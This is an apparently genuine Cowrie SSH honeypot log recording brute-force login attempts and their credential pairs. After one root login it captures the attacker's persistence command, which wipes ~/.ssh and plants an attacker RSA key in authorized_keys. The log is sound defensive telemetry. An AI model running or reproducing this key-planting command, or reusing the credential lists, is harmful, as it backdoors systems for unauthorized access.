{"eventid":"cowrie.login.failed","username":"nova","password":"Nova","message":"login attempt [nova/Nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:31.350065Z","src_ip":"103.59.94.61","session":"ba7f3cce14cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:35:32.596593Z","src_ip":"103.59.94.61","session":"ba7f3cce14cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":52582,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef356e2d5e08","protocol":"ssh","message":"New connection: 45.232.73.84:52582 (159.203.135.109:22) [session: ef356e2d5e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:04.332912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:04.342124Z","src_ip":"45.232.73.84","session":"ef356e2d5e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:04.462380Z","src_ip":"45.232.73.84","session":"ef356e2d5e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hdoop","password":"123456","message":"login attempt [hdoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:04.950569Z","src_ip":"45.232.73.84","session":"ef356e2d5e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:06.079241Z","src_ip":"45.232.73.84","session":"ef356e2d5e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56144,"dst_ip":"10.17.0.5","dst_port":22,"session":"539edd4c15c5","protocol":"ssh","message":"New connection: 2.57.122.208:56144 (10.17.0.5:22) [session: 539edd4c15c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:18.714284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:18.812892Z","src_ip":"2.57.122.208","session":"539edd4c15c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:18.916435Z","src_ip":"2.57.122.208","session":"539edd4c15c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:19.286120Z","src_ip":"2.57.122.208","session":"539edd4c15c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:20.388736Z","src_ip":"2.57.122.208","session":"539edd4c15c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":43000,"dst_ip":"159.203.135.109","dst_port":22,"session":"c264505c9174","protocol":"ssh","message":"New connection: 20.244.18.126:43000 (159.203.135.109:22) [session: c264505c9174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:36.029520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:36.033472Z","src_ip":"20.244.18.126","session":"c264505c9174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:36.241739Z","src_ip":"20.244.18.126","session":"c264505c9174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"inversiones","password":"inversiones123","message":"login attempt [inversiones/inversiones123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:37.111717Z","src_ip":"20.244.18.126","session":"c264505c9174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:38.323819Z","src_ip":"20.244.18.126","session":"c264505c9174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":42992,"dst_ip":"159.203.135.109","dst_port":22,"session":"115bae30c4ce","protocol":"ssh","message":"New connection: 211.106.133.202:42992 (159.203.135.109:22) [session: 115bae30c4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:47.246829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:47.250724Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:47.453355Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test123","message":"login attempt [root/test123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:48.306453Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:48.773440Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:48.776005Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:48.778825Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.004825Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.507904Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.510198Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.715368Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.717978Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":42994,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aa2c46ef4e0","protocol":"ssh","message":"New connection: 211.106.133.202:42994 (159.203.135.109:22) [session: 6aa2c46ef4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.917499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:49.921696Z","src_ip":"211.106.133.202","session":"6aa2c46ef4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:50.122884Z","src_ip":"211.106.133.202","session":"6aa2c46ef4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":41160,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac642511045","protocol":"ssh","message":"New connection: 182.52.236.235:41160 (159.203.135.109:22) [session: cac642511045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:50.161078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:50.166301Z","src_ip":"182.52.236.235","session":"cac642511045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:50.414652Z","src_ip":"182.52.236.235","session":"cac642511045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:51.021880Z","src_ip":"211.106.133.202","session":"6aa2c46ef4e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comunicacao","password":"1234","message":"login attempt [comunicacao/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:51.434523Z","src_ip":"182.52.236.235","session":"cac642511045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:52.230523Z","src_ip":"211.106.133.202","session":"6aa2c46ef4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":43000,"dst_ip":"159.203.135.109","dst_port":22,"session":"7800e3c26392","protocol":"ssh","message":"New connection: 211.106.133.202:43000 (159.203.135.109:22) [session: 7800e3c26392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:52.439127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:52.442878Z","src_ip":"211.106.133.202","session":"7800e3c26392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:52.646618Z","src_ip":"211.106.133.202","session":"7800e3c26392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:52.686548Z","src_ip":"182.52.236.235","session":"cac642511045","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:53.504985Z","src_ip":"211.106.133.202","session":"7800e3c26392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:53.708014Z","src_ip":"211.106.133.202","session":"115bae30c4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:53.712228Z","src_ip":"211.106.133.202","session":"7800e3c26392","protocol":"ssh"}
